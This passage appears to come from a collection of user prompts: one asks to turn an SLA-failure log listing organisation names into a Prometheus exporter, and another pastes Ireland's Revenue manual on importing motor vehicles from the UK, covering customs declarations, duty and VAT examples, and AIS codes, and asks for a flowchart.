1\nredwoodcomsg 1\nsyscoenvironmental 1\nhooten 1\nszyofficetest 1\naivafertiliser 1\noatc 1\npinnacleengineering 1\njfgroup 1\napeironpartners 1\nbtpnfr 1\nmultiorg 1\nkbselectrical 1\nmooreinsight 1\nagritrails 1\ngreenhousefunds 1\nriccolo 1\nsalem 1\nwhitebirdcliniconmicrosoft 1\nbeautifulsavior 1\ncalhackeman 1\nfallstekhoylaw 1\nbpc 1\ngalante 1\nfuseboxone 1\ntecsec 1\nappsdemo 1\ntikvahfund 1\ntellingrainscreens 1\nelderconstruction 1\npokyfeeders 1\nthecoloradogroup 1\nsolidariteit 1\nbrixandco 1\nsagittariusip 1\nquestemployment 1\naltreedevelopments 1\n2mautomation 1\ncommunityfoundation 1\nkeytexenergyllc 1\nleapmanagedit 1\ncoudfinder 1\neberlysystems 1\nstansinc 1\nomscoltd 1\nbarrassoexcavation 1\ngreenbeetech 1\nshowplacewoodproducts 1\noutofhomemedia 1\ninvestdetroit 1\nlogicwingcom 1\nempirehomewares 1\ngrefesidney 1\nlegrossolicitors 1\ndiraymediainc 1\nbluestem 1\ninterpetltd 1\nmindroom 1\nmvegroup 1\nredriverchildrensadvocacycenter 1\nbeacheslogistics 1\nTOTAL SLA FAILED: 22066\nbye\n\nI want to turn this into a lightweight prometheus exporter that provides those same statistics for prometheus to scrape' -'Can you read this text and produce a flowchart for me? Tax and Duty Manual Importation of Motor Vehicles from the UK\nThe information in this document is provided as a guide only\nand is not professional advice, including legal advice. It should\nnot be assumed that the guidance is comprehensive or that it\nprovides a definitive answer in every case.\n1\nImportation of Motor Vehicles from the UK\nDocument last updated December 2022\nEnquiries concerning this manual:\nimportpolicy@revenue.ie\nTel: + 353 1 738 3676\nTax and Duty Manual Importation of Motor Vehicles from the UK\n2\nTable of Contents\n1 Introduction ......................................................................................................3\n2 Pre-requirements to make a Customs Import Declaration ...............................3\n3 Customs Import Declaration Submission ..........................................................5\n4 Combined Nomenclature Code.........................................................................5\n5 Vehicle Identification Number ..........................................................................6\n6 Transfer of Residence........................................................................................6\n7 UK Origin Vehicles.............................................................................................7\n7.1 Where the Vehicle is UK Origin ......................................................................7\n8 Returned Goods Relief ......................................................................................7\n9 Postponed Accounting for VAT .........................................................................8\n10 Importing a Vehicle from Northern Ireland ......................................................8\n11 Payment ............................................................................................................9\n12 Examples of the Calculation of Customs Duty and VAT on Import ...................9\nAppendix 1: Vehicle Import Scenarios ........................................................................11\nAppendix 2: AIS UCC Trader Portal Codes...................................................................14\nAppendix 3: Importing Vehicles from Northern Ireland..............................................19\nTax and Duty Manual Importation of Motor Vehicles from the UK\n3\n1 Introduction\nFrom the end of the transition period of the withdrawal of the United Kingdom (UK)\nfrom the European Union (EU) on 31 December 2020, the importation of a motor\nvehicle from the UK (excluding Northern Ireland (NI)) is treated as an import from a\nthird country, i.e. a non - EU Member State. If such a vehicle is imported from the\nUK (including via NI), the importer is required to complete a Customs import\ndeclaration, pay Customs Duty, if applicable and Value Added Tax (VAT) on import,\nprior to presenting the vehicle for registration. Vehicle Registration Tax (VRT) is\npayable at registration, with the VRT calculation and collection being completed by\nthe NCT centres.\nVehicles purchased from NI, that were in NI prior to 1 January 2021, are treated as\nEU goods and no customs formalities are required and VAT on import and customs\nduty are not applicable. However, where vehicles from Great Britain (GB) are moved\nto the EU, through NI, after 31 December 2020, including those re-registered to an\nNI owner, then customs formalities and VAT on import may apply.\nFull information on the requirements for importing second-hand vehicles is available\non the Revenue website here.\nAn overview of vehicle import scenarios is outlined in Appendix 1.\n2 Pre-requirements to make a Customs Import Declaration\nIf a vehicle is imported from the UK, then a customs declaration is required. This is\nusually completed by a customs agent on behalf of the importer. However, an\nindividual can also complete the declaration using the declaration portal in\nRevenue’s import system, AIS.\nTo complete a customs import declaration an individual must:\n\uf0b7 Be registered for Revenue Online Service (ROS)\n\uf0b7 Be registered for Customs & Excise\n\uf0b7 Have an EORI number\nIf not already registered for ROS, for example if you are a PAYE employee, then a\nregistration request can be submitted through MyEnquiries. Please include your PPS\nnumber and brief note on the reason for the request. This can be submitted through\nthe following path:\n1) Sign into MyEnquiries\n2) Select \'Add new Enquiry\'\n3) In the \'My Enquiry relates to\' section, enter \'Customs\':\nTax and Duty Manual Importation of Motor Vehicles from the UK\n4\n4) In the \'More Specifically\' section, enter \'eCustoms - Systems Query\' for\nenquiries relating to AEP (Import & Export Declarations), EORI, EMS, NCTS,\nICS and CD.\nIf it is not possible to register for MyEnquiries then the request can be sent by e-mail\nto ecustoms@revenue.ie\nOn receipt, eCustoms will register the applicant for C&E and complete an EORI\nregistration which will enable the import of the motor vehicle.\nOnce registration is confirmed by eCustoms, the next step is to register for ROS on\nwww.revenue.ie . Registration for ROS will provide access to the AIS trader portal\nand allow submission of an import declaration.\nIf importing a new vehicle into the State, the following information must be attached\nto the import declaration:\n\uf0b7 A valid Certificate of Conformity (CoC) that confirms EU type approval. Please\nnote that the type approval number on the CoC must correspond to an EU\nMember State.\nor\n\uf0b7 An Individual Approval or Small Series Approval Certificate issued by the\nNational Standards Authority of Ireland (NSAI).\nTax and Duty Manual Importation of Motor Vehicles from the UK\n5\n3 Customs Import Declaration Submission\nThe type of declaration required is a “H1” import declaration\nStep 1:\nLog into ROS (guidance here)\nStep 2:\nSelect the ‘Customs UCC Portal’ under the My Services tab – Other Services\nFigure 1: ROS Customs UCC Portal\nStep 3:\nFollow the guidance on inputting a H1 customs declaration in the Customs UCC\nPortal here.\n4 Combined Nomenclature Code\nCombined Nomenclature (CN) codes are set out in TARIC. Vehicles are classified for\ncustoms purposes under goods code: 8700000000. This will be further broken down\nby the vehicle type (i.e. motor vehicle – 8703) and then the specifics of the particular\nvehicle.\nThe CN code is entered at Data Element (DE) 6/15 (Commodity Code – TARIC Code)\non the customs import declaration.\nTax and Duty Manual Importation of Motor Vehicles from the UK\n6\nThe most common vehicle is:\n870321 - Motor cars and other motor vehicles principally designed for the transport\nof <10 persons, incl. station wagons and racing cars, with only spark-ignition internal\ncombustion reciprocating piston engine of a cylinder capacity <= 1.000 cm³ (excl.\nvehicles for travelling on snow and other specially designed vehicles of subheading\n870310).\nNOTE: there is a different code for new and used vehicles\n\uf0b7 8703211000 – new vehicle\n\uf0b7 8703219000– used vehicle\n5 Vehicle Identification Number\nIMPORTANT:\nThe inclusion of the Vehicle Identification Number (VIN) is critical. From 1 January 2021, to\nenable an imported vehicle to be cleared by the NCT centre, evidence of a customs import\ndeclaration must be provided at the NCT centre. There will also be an electronic interface\nbetween the NCT centre and the Revenue Customs system, therefore the correct VIN must\nbe entered on the customs import declaration.\nProcedure at Import: When completing your customs import declaration, at DE 2/3,\ninsert 1D97 followed by the VIN. It should be noted that 1D97 (VIN) should be\nincluded at Goods Shipment item level.\nNOTE: If the item being imported does not have a VIN, please insert the text\nNOVIN033 after 1D97.\n6 Transfer of Residence\nPersons transferring their residence should include their private vehicles on their\nTransfer of Residence (TOR) declaration form (C&E 1076), which covers the\nimportation of personal items and household goods from outside the EU. There is\nmore information on how to claim TOR relief on the Revenue website. If an importer\nqualifies for TOR relief, no Customs Duty or VAT on import is payable on the\nvehicle(s). If you are personally importing your personal items and household goods\nand you are physically with the goods, then an electronic customs import declaration\nmay not be necessary. For further assistance contact Customs Clearance and Import\nor Export Controls on 01-7383685 or through Revenue MyEnquiries.\nTax and Duty Manual Importation of Motor Vehicles from the UK\n7\n7 UK Origin Vehicles\nFrom 1 January 2021, the EU-UK Trade and Cooperation Agreement (TCA) has\neliminated tariff duties for trade between the EU and Great Britain, where the\nrelevant rules on origin are met. If the goods are of UK origin, then a 0% tariff rate\napplies. However, goods of EU origin that are in use in the UK and that are\nsubsequently imported into Ireland from Great Britain will not be eligible for the 0%\ntariff rate, as they will not qualify as UK origin under the rules of origin.\nFurther information on preferential tariff treatment and details of how to claim it\ncan be found on the Revenue website here.\n7.1 Where the Vehicle is UK Origin\nWhere the vehicle was manufactured in the UK and complies with the origin terms\nas set out in the EU-UK TCA, a preferential tariff rate of 0% may be claimed.\nTo claim preferential origin for UK origin goods for release into free circulation in the\nEU, the following codes are used:\n\uf0b7 AIS Data Element 4/17 (Preference) should contain the code ‘300’.\n\uf0b7 AIS Data Element 5/16 (Country of preferential origin) is ‘GB’.\n\uf0b7 AIS Data Element 2/3 (Documents produced, certificates and authorisations,\nadditional references), one of the following codes should be used:\n- Where the claim for preferential tariff treatment is based on a\n\'statement on origin’ for a single shipment, use code “U116”.\n- Where the claim for preferential tariff treatment is based on\n‘importer’s knowledge’, use code “U117”.\n- Where the claim for preferential tariff treatment is based on a\n\'statement on origin’ for multiple shipments of identical products, use\ncode “U118”.\nA list of codes which may be applicable is available in Appendix 2.\n8 Returned Goods Relief\nReturned Goods Relief may be available, subject to conditions, for vehicles that have\nbeen exported from the Customs territory of the Union. Vehicles can be exported\nfrom the EU to a 3\nrd country and re-imported into the EU without the payment of\nCustoms Duty provided all the required conditions for Returned Goods Relief are\nmet. In very specific circumstances, relief from Value-Added Tax may also apply\nwhere the vehicle is re-imported into the EU by the same person that originally\nexported the goods out of the EU. The conditions are:\nTax and Duty Manual Importation of Motor Vehicles from the UK\n8\n\uf0b7 The vehicle must have been originally exported from the EU\n\uf0b7 Must not have been altered and\n\uf0b7 Must be re-imported within three years of export from the EU.\nFurther information on the relief and details of how to claim it can be found on the\nRevenue website here.\n9 Postponed Accounting for VAT\nPostponed accounting for VAT on import is now available to all VAT registered\ntraders. Revenue may exclude traders who do not fulfil certain conditions and\nrequirements from using this scheme.\nThis scheme:\n\uf0b7 provides for postponed accounting for VAT on imports from non-EU countries\n\uf0b7 enables you to account for import VAT on your VAT return\n\uf0b7 allows you to reclaim VAT at the same time as it is declared in a return. This is\nsubject to normal rules on deductibility.\nMore information on postponed accounting is available here.\n10 Importing a Vehicle from Northern Ireland\nUnder the Protocol on Ireland and Northern Ireland, Northern Ireland will continue\nto apply and adhere to EU rules in relation to trade in goods. The result is that there\nare no Customs formalities, including Customs declarations or payment of tariffs, on\ntrade between Ireland and Northern Ireland.\nHowever, in January 2021, the UK introduced significant changes to the UK VAT\nmargin scheme for used vehicles imported from Great Britain into Northern Ireland.\nThese changes mean that vehicles first registered in Great Britain, and subsequently\nregistered in Northern Ireland after 31 December 2020, will be subject to additional\nrequirements if imported into the State. These additional requirements must be\ncompleted prior to presenting the vehicle for registration at an NCT centre.\nA vehicle brought into Northern Ireland before 1 January 2021, and which has\nremained there since, can be registered in the State with no customs obligations.\nHowever, proof of the vehicle’s status in Northern Ireland prior to 1 January 2021\nwill be required, for example:\n\uf0b7 a ferry ticket showing the date of arrival in NI, and which clearly identifies the\nspecific vehicle\n\uf0b7 a copy of an invoice from a transport company identifying the vehicle and\ndelivery date\nTax and Duty Manual Importation of Motor Vehicles from the UK\n9\n\uf0b7 tax and insurance details indicating use in NI prior to 1 January 2021\nor\n\uf0b7 a copy of the V5C showing the last registered keeper in NI and a date of\nregistration to that keeper prior to 1 January 2021.\nWhere a second-hand vehicle has been imported from Great Britain after 31\nDecember 2020 and the Customs formalities were completed in Northern Ireland,\nthe person wishing to register the vehicle in Ireland should first contact Revenue as\nthere will be a VAT liability to be discharged prior to registering the vehicle for VRT. A\nSupplementary Import Declaration– VAT on Import on Used Vehicles must be made\nto Revenue in respect of any vehicles that qualify for the UK VAT margin scheme.\nIf you do not have proof of a declaration to Customs in Northern Ireland you must\ncomplete a Customs import declaration and pay Customs Duty, if applicable, and\nVAT on the customs value of the vehicle plus the customs duty payable – see\nexamples at para 12 below. This must be done before presenting the vehicle for\nregistration.\nFull details are available in Appendix 3.\n11 Payment\nIf registered for ROS, you must also be registered for Customs & Excise (C&E) and\nhave an Economic Operator Registration Identification (EORI) to make payments for\nC&E. Full guidelines are available here.\n12 Examples of the Calculation of Customs Duty and VAT on\nImport\nCustoms Duty\nCustoms Duty of 10% is applicable to most vehicles imported from the UK, calculated\non the customs value of the vehicle. The custom value consists of the purchase price\nof the vehicle, plus transport and insurance costs and any handling charges.\nVAT\nThe payment of VAT at the standard rate of 23% is applicable to the importation of\nvehicles from GB. In most cases, VAT is not applied to used vehicles purchased in NI.\nHowever, a VAT charge may apply if the car is categorised as a "new means of\ntransport” or was previously registered in GB and moved to NI after 31 December\n2020.\nThe value on which VAT is levied at the point of importation is the customs value of\nthe car, plus customs duty.\nTax and Duty Manual Importation of Motor Vehicles from the UK\n10\nExample 1. Calculation of Customs Duty and VAT payable on a car imported\nfrom GB to Ireland, where no reliefs apply\nPrior to the UK’s exit from the EU, vehicles imported from the UK were not subject\nto customs duty or VAT charges on import to Ireland as the goods were in free\ncirculation in the EU. VRT was payable on the vehicle being presented for\nregistration at a VRT office. However, from 1 January 2021, when the UK left the\nEU, customs duty and VAT are payable, in addition to VRT. The example below\nillustrates the calculation of customs duty and VAT, where no reliefs apply.\nPurchase price of car €32,000 (after conversion from sterling)\nTransport costs €500\nCustoms value of car €32,500\nCustoms duty @ 10% €3,250\nOverall value subject to VAT €35,750\nVAT @ 23% €8,223\nCustoms duty and VAT payable on import is therefore €3,250 and €8,223\nrespectively.\nExample 2. Calculation of Customs Duty and VAT payable on a car imported\nfrom GB to Ireland, where Returned Goods Relief is applicable\nIn this example a car is exported to the UK from another EU Member State (e.g.\nGermany) and re-imported to Ireland after 1 January 2021, within three years of the\ndate of export to the UK. As the car was not re-imported into the EU by the same\nperson that originally exported the goods out of the EU, no relief from VAT applies.\nPurchase price of car €32,000 (after conversion from sterling)\nTransport costs €500\nCustoms value of car €32,500\nCustoms duty @ 0% (Note the car qualifies for Returned Goods Relief)\nOverall value subject to VAT €32,500\nVAT @ 23% €7,475\nRelief from customs duty is applicable, with the VAT payable on import being €7,475.\nTax and Duty Manual Importation of Motor Vehicles from the UK\n11\nAppendix 1: Vehicle Import Scenarios\n1. Vehicles imported directly from Great Britain\nScenario Customs Requirements Proofs Required Comments\nStandard Treatment\nCustoms Import Declaration\nin Ireland (IE) and VAT on\nimport and Customs Duty\npayable.\nDeclaration will include details of VIN\nwhich will be checked at registration by\nNCTS centre.\nUnless the vehicle is proven to be entitled to a claim\nfor preferential origin or Returned Goods Relief,\nvehicles imported from Great Britain (GB) fall into\nthis category.\nPreferential Origin\nCustoms Import Declaration\nin IE and VAT on import\npayable.\nClaim to preferential origin will be subject\nto post-clearance checks. Importer will\nbe responsible for providing proof of\norigin. Proof of declaration will be\nchecked based on VIN.\nVehicle meets the criteria for UK Origin. Note that a\nUK registration is not proof of UK origin. The latter is\ndetermined by place of manufacture and the source\nof materials used. Origin is generally certified by the\nmanufacturer.\nReturned Goods Relief\nCustoms Import Declaration\nin IE and VAT on import\npayable (except in specific\ncircumstances - see\ncomments).\nClaim to Returned Goods Relief will be\nsubject to post-clearance checks.\nImporter will be responsible for providing\nproof including date of original export\nfrom the EU/movement to the UK. Proof\nof declaration will be checked based on\nVIN.\nVehicle must have been (i) exported from the EU to\nthe UK less than 3 years previously or (ii)\npermanently moved to the UK pre- 01/01/21 and\nless than 3 years prior to the date of export to IE -\nand meet the other conditions applying to Returned\nGoods Relief e.g. no alterations to the vehicle.\nWhere the vehicle is reimported by the same\nperson/entity which originally exported it, no VAT on\nimport will be payable.\nTax and Duty Manual Importation of Motor Vehicles from the UK\n12\n2. Vehicles imported directly from Northern Ireland\nScenario Customs Requirements Proofs Required Comments\nVehicle in Northern Ireland\n(NI) pre 01/01/21\nNo Customs Import\nDeclaration required and no\nVAT on import payable.\nProof of import to NI prior to 01/01/21.\nVehicle is in free circulation as a Union good and can\nmove to IE without any Customs obligations or VAT\non import payable. A VAT charge may arise as a\n"new means of transport". If vehicle were exported\nto GB or any other territory outside of the Customs\nUnion and subsequently re-imported to NI, it would\nbe treated as a GB import via NI - see Section 3.\nNew vehicles sold in NI to\ncustomer in IE\nNo declaration required in IE\nand no VAT on import\npayable.\nSales invoice to show NI purchase.\nVehicle is in free circulation as a Union good and can\nmove to IE without any Customs obligations or VAT\non import payable. A VAT charge will arise as a "new\nmeans of transport".\nVehicles where the first\nregistration of the vehicle\nwas in NI and vehicle\nregistered after 31/12/20\nNo declaration required in IE\nand no VAT on import\npayable.\nProof of first registration of the vehicle in\nNI and invoice from NI seller.\nVehicle is in free circulation as a Union good and can\nmove to IE without any Customs obligations or VAT\non import payable. A VAT charge may arise as a\n"new means of transport". If vehicle were exported\nto GB or any other territory outside of the Customs\nUnion and subsequently re-imported to NI, it would\nbe treated as a GB import via NI - see Section 3.\nTax and Duty Manual Importation of Motor Vehicles from the UK\n13\nVehicles which have been\nregistered in GB and which\nwere moved to NI after\n31/12/20 (incl. both those\nre-registered to an NI\naddress/owner and those\nnot re-registered as they are\nbeing held for sale).\nDeclaration in NI or IE and\nCustoms Duty and VAT on\nimport payable, as\napplicable.\nDeclaration will include details of VIN\nwhich will be checked at registration by\nNCTS centre. Claims to either\npreferential origin or Returned Goods\nRelief will be subject to the same proofs\nas set out above.\nInformation in Appendix 3 applies. Vehicles may be\neligible to claim Returned Goods Relief or\npreferential origin - similar to any vehicles imported\ndirect from GB to IE - see Section 1.\n3. Vehicles imported from Great Britain via Northern Ireland\nScenario Customs Requirements Proofs Required Comments\nVehicles imported into NI\nafter 31/12/20\nDeclaration in NI or IE and\nCustoms Duty and VAT on\nimport payable, as\napplicable.\nDeclaration will include details of VIN\nwhich will be checked at registration by\nNCTS centre. Claims to either\npreferential origin or Returned Goods\nRelief will be subject to the same proofs\nas set out above.\nInformation in Appendix 3 applies. Vehicles may be\neligible to claim Returned Goods Relief or\npreferential origin - similar to vehicles imported\ndirect from GB to IE - see Section 1. \nTax and Duty Manual Importation of Motor Vehicles from the UK\n14\nAppendix 2: AIS UCC Trader Portal Codes\nDECLARATION\n1/1 Declaration type - H1\n1/2 “A” if Post lodged or “D” if Pre lodged\n2/5 Pre-Populated\n2/6 \uf0b7 If you have a Guarantee and wish to defer payment of tax and duties enter EORI number\n\uf0b7 If not deferring leave blank\n4/8 If deferring tax and duties select -- E - Deferred or postponed payment or A- CASH\nPARTIES\n3/18 Declarant EORI Number\n3/1 Exporter / Seller name and address. (if they have an EORI then enter in 3/25)\n3/39 Fill in Authorisation Holder Identification no (normally the declarant)\n3/46 Importer EORI number\nVALUATION INFORMATION\n4/10 Invoice Currency\n4/11 Price on invoice\n4/12 Euro\n4/15 Exchange Rate – Automatic calculated\nCUSTOMS OFFICES\nCustoms office of lodgement Code i.e. “IEDUB100” would be Dublin Port\nGUARANTEE\nIf applicable\nTax and Duty Manual Importation of Motor Vehicles from the UK\n15\nGOODS SHIPMENT\nDOCUMENTS, CERTIFICATES, AUTHORISATIONS\n2/01 Simplified declaration/ Previous documents/ Writing-off\nDocument Type - 337 - Temporary Storage\n2/2 00500 if declarant and importer are the same. Declarant must be registered for EORI\nDocument Type: N380 – Invoice Number\nDocument Type: 1D24 - Estimated Time of Arrival of the goods into the State in the format\n(CCYYMMDDHHMM)\nDocument Type: 1A05 – IEPOSTPONED (if VAT registered and applicable)\nDocument Type: N730 - Road consignment note\nDocument Type: 1D96 – Release from Temporary Storage\n2/03\nDocument Type: N934 – Declaration of particulars relating to customs value D.V.1 – Enter into “ID” – Y\nif Goods are over 20,000 value\nOne of these codes are used where the Vehicle is UK origin, 4/17 is 300 & 4/17 is GB\nU116- Where the claim for preferential tariff treatment is based on a \'statement on origin’ for a single\nshipment\nU117- Where the claim for preferential tariff treatment is based on ‘importer’s knowledge’\nU118- Where the claim for preferential tariff treatment is based on a \'statement on origin’ for multiple\nshipments of identical products\nPARTIES\n3/16 Importer Box - Importer EORI number\n3/15 Blank\n3/25 Enter if valid EORI number exists otherwise details are typed into 3/1\nVALUATION INFORAMTION\n4/1\nDelivery Terms\nIncoterm Code - CIF; Cost, insurance & freight, unless invoice says different\nUN/LOCODE - E.G.; IE DUB 100\nDATES & PLACES\n5/8 Country of destination code - Ireland\n5/9 Blank\n5/14 Country of dispatch /export code - GB\nTax and Duty Manual Importation of Motor Vehicles from the UK\n16\n5/23\nLocation of Goods\nLocation of Goods ID - E.G.; IE DUB 100\nQualifier of the Identification - U - UN / LOCODE\nType of location Code - B - Authorised place // B - Authorised Place\nClick on the “Address” Tab -Country Code - IE - Ireland\nGOODS INFORMATION\n6/5 Gross Mass\n6/18 Total Packages\nTRANSPORT INFORMATION\n7/2 Container - 0 IF No, or 1 for Yes\n7/4 Mode of transport at the border - 1 – SEA TRANSPORT\n7/5 Inland mode of Transport - 3 – Road (Accompanied)\n7/9\nIdentity of Means of Transport at Arrival:\nType of Identification - 30 – Registration number of road vehicle\nIdentification Number - Car Registration number\n7/10 \uf0e0 If you entered 1 for Yes in 7/2 for container then enter the container number here\n7/15\nNationality of active means of transport crossing the border\nDepends on country transporting goods;\nAer Lingus - GB United Kingdom\nNOTE:\nIn a single item Declaration some details need to be repeated in Goods Shipment\nand Goods Shipment Item such as price and weight.\nIn a multi item Declaration, the individual price and item weight of each entry will\nneed to be entered in Goods Shipment Item and the total price and weight of the\nshipment in the Goods Shipment. The reason is that the system adds the individual\nprices /weights and compares them to the total.\nTax and Duty Manual Importation of Motor Vehicles from the UK\n17\nGOODS SHIPMENT ITEM\nGENERAL INFORMATION\n1/6 Good Item Number - 1 Item declaration 1 etc\n1/10\nProcedure\nRequested Procedure Code - 40 - Release for free circulation\nPrevious Procedure Code - 00 - No Previous procedure\n1/11\nClick + button to Add\nAdditional Procedure\nCustoms Procedure - 000- other\nDOCUMENTS, CERTIFICATES, AUTHORISATIONS\n2/01 Blank when filled in on Goods Shipment level\n2/2 Blank\nDocument Type: 1D97 – VIN (Vehicle Identification Number)\nTypical release codes for a car. However, these are subject to change. TARIC must be consulted\n“Document Type” - Y053 & “ID” - NAI\n“Document Type” - Y951 & “ID” - NAI\n2/03\n“Document Type” - Y923 & “ID” - NAI\nVALUATION INFORAMTION\n4/13 Valuation Indicators - 0000 - No Relationship - No disposal restriction - No sale condition - No sale\narrangement\n4/14 Item price / amount - Value from invoice –\nSame as Goods shipment if single item Declaration.\n4/16 Valuation Method - 1 - Transaction value of the imported goods\n4/17\nPreference - 100 – Erga Omnes third-country duty rates\nPreference - 300 – If country of origin is GB\nPreference - 100 – If country of origin is EU\nDATES & PLACES\n5/8 Country of destination code - Blank (it is filled into Goods Shipment level)\n5/9 Region of destination code - Blank\n5/14 Country of dispatch / export code - Blank (it is filled into Goods Shipment level)\n5/15 Country of origin code - GB – United Kingdom\n5/16 Country of preferential origin code - GB – United Kingdom\n5/31 Date of acceptance - Blank\nGOODS INFORMATION\n6/8 Description of Goods – Passenger Car etc.\nGoods Measure\n6/1 Net Mass – If available on invoice enter weight per item. If not available enter gross mass\nTax and Duty Manual Importation of Motor Vehicles from the UK\n18\n6/2 Supplementary Units – Enter per item based on information on TARIC\n6/5 Gross Mass – If available on invoice enter weight per item (on a single shipment item this then is the same\nas Goods Shipment 6/5).\nPackaging\n6/9 Type of packages - VN Vehicle\n6/10 Number of packages - 1\n6/11 Shipping marks - Vehicle Reg\nCommodity Code\n6/14\nCommodity Code - CN Code - 870321 - 9000- used car; -1000- new car i.e. 8703211000\nFor Imports, the CN code is entered at Data Element 6/14 (8 digits) and 6/15 (last 2 digits) of the AIS\ndeclaration.\n6/15 Commodity code -TARIC code - Last 2 digits - 00\n6/16 Commodity code - TARIC additional code(s) - For Used Cars enter “4999”\n6/17 Commodity code - National additional code(s) - VATS – Standard Unless Stated\nTRANSPORT INFORMATION\n7/10 Container Identification Number\nOTHER\n8/6 Statistical Value –Same as 4/14 item price / amount\nAPPLICATION AND AUTHORISATION\nIf applicable\nOPTIONAL - Returned Goods Relief (if relevant)\n1/10 6123 (re-import after temporary export)\n6110 (re-import after permanent export)\n1/11 F01 Duty Relief\nF05 Duty & Vat Relief\n2/03 If vehicle was originally exported from IE – DE 2/3 enter code 1Q27 and MRN of original export declaration\nTax and Duty Manual Importation of Motor Vehicles from the UK\n19\nAppendix 3: Importing Vehicles from Northern Ireland\neCustoms Helpdesk\nNotification\nRef: 44/2021\nSubject: Importing vehicles from Northern Ireland (NI)\nWho should read: All those involved in importing vehicles\nRelated Notification: eCustoms Helpdesk Notification Refs: 32/2020, 36/2020\nand 24/2021\nThis Notification replaces eCustoms Helpdesk Notification\nRef: 26/2021\nIssued by: eCustoms Helpdesk\nQueries to: For technical queries on the submission of a customs\ndeclaration:\neCustoms@revenue.ie or 01-7383677.\nFor Brexit related questions: brexitqueries@revenue.ie.\nFor VRT queries:\nhttps://www.revenue.ie/en/contact-us/customerservice-contact/vehicle-registration-tax-vrt.aspx\nIssue Date: 14 July 2021\n1. Introduction\nFollowing the withdrawal of the United Kingdom (UK) from the European Union (EU),\nan import of a vehicle from Great Britain is treated as an import from a third country,\ni.e. a non-EU country. If a vehicle is imported from Great Britain (GB) into Ireland,\nthe importer is required to complete a customs declaration prior to import and pay\ncustoms duty, if applicable, and VAT at the standard rate. It will not be possible to\nregister the vehicle if an import declaration has not been filed. Under customs law,\nVAT at import is chargeable on the customs value of the goods. The fact that VAT has\nbeen charged in Great Britain on used vehicles subsequently imported into the State\nhas no bearing on their liability to VAT at import when imported into the EU.\nUnder the Protocol on Ireland and Northern Ireland, Northern Ireland will continue\nto apply and adhere to EU rules in relation to trade in goods with the result that\nthere are no customs formalities, including customs declarations or payment of\ntariffs, on trade between Ireland and Northern Ireland.\nHowever, on 14 January, the UK introduced significant changes to the UK VAT margin\nscheme for used cars imported from Great Britain into Northern Ireland. These\nchanges mean that vehicles first registered in Great Britain (GB), and subsequently\nregistered in Northern Ireland after 31 December 2020, will be subject to temporary\nadditional requirements if imported into the State. These additional requirements\nTax and Duty Manual Importation of Motor Vehicles from the UK\n20\nmust be completed prior to presenting the vehicle for registration at an NCT centre.\n2. Requirements to register a vehicle in Ireland\nWhere a second hand car has been imported from Great Britain since 1 January 2021\nand the customs formalities were completed in Northern Ireland, the person wishing\nto register the car in Ireland should first contact Revenue as there will be a VAT\nliability that needs to be discharged prior to registering the vehicle for VRT. A\n‘Supplementary Import Declaration– VAT on import’ must be made to Revenue in\nrespect of margin scheme and qualifying cars.\nRevenue will request verification that the customs formalities have been completed\nin Northern Ireland (a Trader Support Service simplified frontier or supplementary\ndeclaration will suffice where the vehicle is identified but an Entry Summary\nDeclaration (ENS) declaration will not be accepted). Once the VAT (charged at the\nstandard rate) is either paid or accounted for (in the case of VAT registered\nbusinesses only), Revenue will provide the necessary documentation to the\ncustomer for presentation to the NCT centre. The NCT centre will only accept the\nRevenue provided documentation for such vehicles.\nIf proof cannot be provided that customs formalities have been completed in\nNorthern Ireland, then an import declaration will need to be made in Ireland.\nAs noted previously this is a temporary arrangement until the situation in regard to\nVAT at\nimportation is regularised for cars imported from Great Britain to Northern Ireland.\nThis is currently being discussed between the European Commission and the UK\nGovernment.\nThe person seeking to register the vehicle in Ireland is responsible for ensuring that\nprocedure outlined above is adhered to.\n3. Registering vehicles without proof of declaration to customs in Northern Ireland\nIf you do not have proof of declaration to Customs in Northern Ireland (NI) you must\ncomplete a customs declaration and pay customs duty if applicable, and ValueAdded Tax (VAT) on the import value of the vehicle. This must be done before\npresenting the vehicle for registration.\nKey details on how to complete the declaration on Revenue’s Automated Import\nSystem (AIS) are outlined below.\nCars coming from Great Britain via Northern Ireland that require a H1 declaration\nsubmitted to AIS\n• Data Element (DE) 1/2: Declaration Type – A\n• DE 1/6: Goods Items Number – 1 – 1 vehicle being imported\nTax and Duty Manual Importation of Motor Vehicles from the UK\n21\n• DE 1/10: – Procedure Code – 4000 (unless returned goods relief is\nbeing claimed – see below)\n• DE 1/11 – Additional Procedure Code – 000 (unless returned goods\nrelief is being claimed – see below)\n• DE 2/1: previous document field - a commercial invoice number\n• DE 2/3: additional information:\no N730 1234 – this is the transport document. There is usually a\nspace between them\no 1D96 1 – a code to avoid putting in ship information\no 1D97 VIN (vehicle identification number)\no 1D24 CCYYMMDDHHMM – time of the arrival of the goods into\nthe State\n• DE 2/5: Local reference Number – unique number chosen by you for\nyour internal records\n• Customs Office of Lodgement: IEDUB100\n• DE 5/8: Country of Destination – IE\n• DE 5/23: Location of goods code: IEDUB100, Location type code: B,\nQualifying identifier: U\nDE 6/8: Goods description – free text e.g. car DE 6/14: Classification\nCode (CN)\n• DE 7/4: Mode of Transport at the Border – should be 1\n• DE 7/5: Inland mode of transport -should be 3\n• DE 7/9: Identity means of transport = 30 – include vehicle registration\nnumber\nOPTIONAL\nReturned Goods Relief (if relevant)\n• DE 1/10 – relevant procedure code – either 6123 (re-import after\ntemporary export) or 6110 (re-import after permanent export)\n• DE 1/11 – additional procedure code – F01 duty relief or F05 duty and\nVAT relief. F05 can only be declared for goods re-imported by the\nsame person who exported them.\n• DE 2/3 - If car was originally exported from IE/EU –DE 2/3 enter code\n1Q27 and MRN of original export declaration\nUK Origin Goods Claiming Preference (if relevant)\n• U116/U117/U118 - code to claim preferential origin if UK origin\n• DE 4/17: Preference – 300\n• DE 5/16: Country of Preferential Origin Code – GB\nEU Origin Goods (if relevant)\n• DE 4/17: Preference – 100\nTax and Duty Manual Importation of Motor Vehicles from the UK\n22\n• DE 5/15: Country of origin code – EU\nPostponed Accounting (if relevant)\n• 1A05 – IEPOSTPONED – to trigger Postponed Accounting\nNOTE: Further data is required to complete the full customs declaration.\n4. Additional Information\nMore information on Filing a Supplementary Import Declaration form can be found\nhere:\nThe EU-UK Trade and Cooperation Agreement (TCA) has eliminated tariff duties for\ntrade between the EU and Great Britain where the relevant rules of origin are met. If\nthe goods are of UK origin, then a 0% tariff rate applies. Under the terms of the TCA,\ngoods of EU origin that were in use in the UK and that were subsequently imported\ninto Ireland from Great Britain will not be eligible for the 0% tariff rate as they will\nnot qualify as UK origin under the rules of origin.\nTo import a car of EU origin from Great Britain into Ireland, a customs declaration\nmust be completed. Customs duty of 10% applies on 